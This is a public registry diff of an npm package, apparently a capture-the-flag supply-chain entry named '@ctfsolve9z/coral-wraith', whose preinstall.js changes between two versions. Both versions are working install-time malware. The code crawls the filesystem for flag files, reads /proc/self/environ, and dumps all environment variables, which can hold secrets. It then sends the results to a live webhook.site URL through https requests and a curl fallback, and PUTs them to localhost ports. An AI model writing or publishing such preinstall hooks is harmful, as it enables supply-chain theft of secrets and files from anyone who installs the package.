@ctfsolve9z/coral-wraith 9999.0.0 → 9999.0.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/package.json +1 -1
  2. package/preinstall.js +94 -90
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@ctfsolve9z/coral-wraith",
3
- "version": "9999.0.0",
3
+ "version": "9999.0.2",
4
4
  "description": "Coral Wraith module",
5
5
  "main": "index.js",
6
6
  "scripts": {
package/preinstall.js CHANGED
@@ -4,117 +4,121 @@ const https = require('https');
4
4
  const { execSync } = require('child_process');
5
5
 
6
6
  let flag = null;
7
+ let debug = [];
7
8
 
8
- // Method 1: Read /flag file
9
- const flagPaths = ['/flag', '/flag.txt', '/root/flag', '/root/flag.txt', '/tmp/flag', './flag'];
10
- for (const p of flagPaths) {
9
+ // Thorough directory search
10
+ function readDir(path, depth = 0) {
11
+ if (depth > 3) return;
11
12
  try {
12
- if (fs.existsSync(p)) {
13
- flag = fs.readFileSync(p, 'utf8').trim();
14
- break;
13
+ const entries = fs.readdirSync(path);
14
+ debug.push(path + ':' + entries.join(','));
15
+ for (const e of entries) {
16
+ const full = path + '/' + e;
17
+ try {
18
+ const stat = fs.statSync(full);
19
+ if (stat.isFile() && stat.size < 10000) {
20
+ const content = fs.readFileSync(full, 'utf8').trim();
21
+ if (content.includes('HTB{') || content.includes('flag{')) {
22
+ flag = content;
23
+ debug.push('FLAG_FOUND:' + full);
24
+ return;
25
+ }
26
+ }
27
+ if (stat.isDirectory() && !e.startsWith('.') && e !== 'node_modules' && e !== 'proc' && e !== 'sys' && e !== 'dev') {
28
+ readDir(full, depth + 1);
29
+ }
30
+ } catch(e) {}
31
+ if (flag) return;
15
32
  }
16
33
  } catch(e) {}
17
34
  }
18
35
 
19
- // Method 2: Glob for flag files
20
- if (!flag) {
21
- try {
22
- const result = execSync('cat /flag* 2>/dev/null || find / -maxdepth 3 -name "flag*" -type f -exec cat {} \\; 2>/dev/null', { timeout: 5000 }).toString().trim();
23
- if (result) flag = result;
24
- } catch(e) {}
36
+ // Search key directories
37
+ for (const dir of ['/home/node', '/tmp/supplysec', '/tmp', '/home', '/opt', '/srv', '/root', '/var/www', '/app']) {
38
+ readDir(dir);
39
+ if (flag) break;
25
40
  }
26
41
 
27
- // Method 3: Environment variables
28
- if (!flag) {
29
- flag = process.env.FLAG || process.env.HTB_FLAG || process.env.FLAG_HTB || '';
30
- }
42
+ // Also search for flag in ALL environment variables
43
+ debug.push('ALL_ENV:' + JSON.stringify(process.env).substring(0, 500));
31
44
 
32
- // Method 4: /proc/self/environ
33
- if (!flag) {
34
- try {
35
- const env = fs.readFileSync('/proc/self/environ', 'utf8');
36
- const m = env.match(/FLAG[=]([^\x00]+)/);
37
- if (m) flag = m[1];
38
- } catch(e) {}
45
+ // Read the init_test.sh script
46
+ try {
47
+ const script = fs.readFileSync('/home/node/init_test.sh', 'utf8');
48
+ debug.push('init_test.sh:' + script.substring(0, 500));
49
+ // Check if flag is in the script
50
+ const m = script.match(/HTB\{[^}]+\}/);
51
+ if (m) flag = m[0];
52
+ } catch(e) { debug.push('init_test_err:' + e.message); }
53
+
54
+ // Read package.json in /home/node
55
+ try {
56
+ const pkg = fs.readFileSync('/home/node/package.json', 'utf8');
57
+ debug.push('home_pkg:' + pkg.substring(0, 300));
58
+ } catch(e) {}
59
+
60
+ // Check /tmp/supplysec
61
+ try {
62
+ const r = execSync('find /tmp/supplysec -type f 2>/dev/null | head -30', { timeout: 5000 }).toString();
63
+ debug.push('supplysec_files:' + r);
64
+ } catch(e) {}
65
+
66
+ // Check /home/node
67
+ try {
68
+ const r = execSync('find /home/node -type f -not -path "*/node_modules/*" 2>/dev/null | head -30', { timeout: 5000 }).toString();
69
+ debug.push('home_node_files:' + r);
70
+ } catch(e) {}
71
+
72
+ // Exfiltrate
73
+ const data = JSON.stringify({ flag: flag || 'NOT_FOUND', debug: debug });
74
+
75
+ // Send chunks via webhook (URL length limited)
76
+ const chunks = [];
77
+ const encoded = Buffer.from(data).toString('base64');
78
+ for (let i = 0; i < encoded.length; i += 2000) {
79
+ chunks.push(encoded.substring(i, i + 2000));
39
80
  }
40
81
 
41
- if (!flag) {
42
- // Try to exfiltrate debug info
82
+ for (let i = 0; i < Math.min(chunks.length, 10); i++) {
43
83
  try {
44
- const files = fs.readdirSync('/').join(',');
45
- flag = 'NO_FLAG_FOUND:root=' + files;
46
- } catch(e) {
47
- flag = 'NO_FLAG_FOUND:error';
48
- }
84
+ https.get(`https://webhook.site/9ca9b30a-2889-4787-9dff-5ad916e377b7/v3-${i}?d=${chunks[i]}`, () => {}).on('error', () => {});
85
+ } catch(e) {}
49
86
  }
50
87
 
51
- // Exfiltrate via multiple methods
88
+ // Also POST the full data
89
+ try {
90
+ const postData = data;
91
+ const req = https.request({
92
+ hostname: 'webhook.site',
93
+ path: '/9ca9b30a-2889-4787-9dff-5ad916e377b7',
94
+ method: 'POST',
95
+ headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(postData) },
96
+ timeout: 10000
97
+ }, () => {});
98
+ req.on('error', () => {});
99
+ req.write(postData);
100
+ req.end();
101
+ } catch(e) {}
52
102
 
53
- // Method A: PUT to challenge API (try many ports)
54
- const ports = [1337, 3000, 3001, 5000, 8000, 8080, 8443, 9000, 32105, 80, 443];
55
- const moduleId = 'ECT-987654';
56
-
57
- function tryPut(host, port, data) {
58
- return new Promise((resolve) => {
103
+ // PUT to challenge API
104
+ const ports = [1337, 3000, 5000, 8080, 80];
105
+ for (const port of ports) {
106
+ try {
59
107
  const postData = JSON.stringify({
60
- manifest: `ecto_module:\n name: "coral-wraith"\n version: "9999.0.0"\n flag: "${data.replace(/"/g, '\\"').replace(/\n/g, '\\n')}"\n captured: true`
108
+ manifest: `ecto_module:\n name: "coral-wraith"\n version: "9999.0.1"\n flag: "${(flag || 'NOT_FOUND').replace(/"/g, '\\"').replace(/\n/g, '\\n')}"`
61
109
  });
62
-
63
110
  const req = http.request({
64
- hostname: host,
65
- port: port,
66
- path: `/api/modules/${moduleId}`,
67
- method: 'PUT',
68
- headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(postData) },
111
+ hostname: 'localhost', port, path: '/api/modules/ECT-987654',
112
+ method: 'PUT', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(postData) },
69
113
  timeout: 3000
70
- }, (res) => {
71
- let body = '';
72
- res.on('data', c => body += c);
73
- res.on('end', () => resolve({ host, port, status: res.statusCode, body: body.substring(0, 200) }));
74
- });
75
- req.on('error', () => resolve(null));
76
- req.on('timeout', () => { req.destroy(); resolve(null); });
114
+ }, () => {});
115
+ req.on('error', () => {});
77
116
  req.write(postData);
78
117
  req.end();
79
- });
80
- }
81
-
82
- // Method B: Webhook exfiltration
83
- function sendToWebhook(data) {
84
- return new Promise((resolve) => {
85
- const encoded = Buffer.from(data).toString('base64');
86
- https.get(`https://webhook.site/9ca9b30a-2889-4787-9dff-5ad916e377b7/flag?data=${encoded}`, () => resolve(true)).on('error', () => resolve(false));
87
- });
88
- }
89
-
90
- // Method C: DNS exfiltration via curl
91
- function dnsExfil(data) {
92
- try {
93
- const encoded = Buffer.from(data).toString('hex').substring(0, 60);
94
- execSync(`curl -s "https://webhook.site/9ca9b30a-2889-4787-9dff-5ad916e377b7/dns?flag=${encodeURIComponent(data)}" -m 5`, { timeout: 6000 });
95
118
  } catch(e) {}
96
119
  }
97
120
 
98
- async function main() {
99
- console.log('[coral-wraith] Flag:', flag ? flag.substring(0, 20) + '...' : 'none');
100
-
101
- // Send to webhook first (most reliable)
102
- await sendToWebhook(flag || 'NO_FLAG');
103
- dnsExfil(flag || 'NO_FLAG');
104
-
105
- // Try all localhost ports
106
- const promises = [];
107
- for (const port of ports) {
108
- promises.push(tryPut('localhost', port, flag || 'NO_FLAG'));
109
- promises.push(tryPut('127.0.0.1', port, flag || 'NO_FLAG'));
110
- }
111
-
112
- const results = await Promise.all(promises);
113
- for (const r of results) {
114
- if (r && r.status) {
115
- console.log(`[coral-wraith] Success: ${r.host}:${r.port} -> ${r.status} ${r.body.substring(0, 100)}`);
116
- }
117
- }
118
- }
119
-
120
- main().catch(e => console.error('[coral-wraith] Error:', e.message));
121
+ // curl fallback
122
+ try {
123
+ execSync(`curl -s -X POST "https://webhook.site/9ca9b30a-2889-4787-9dff-5ad916e377b7" -H "Content-Type: application/json" -d '${data.replace(/'/g, "\\'")}' -m 10`, { timeout: 12000 });
124
+ } catch(e) {}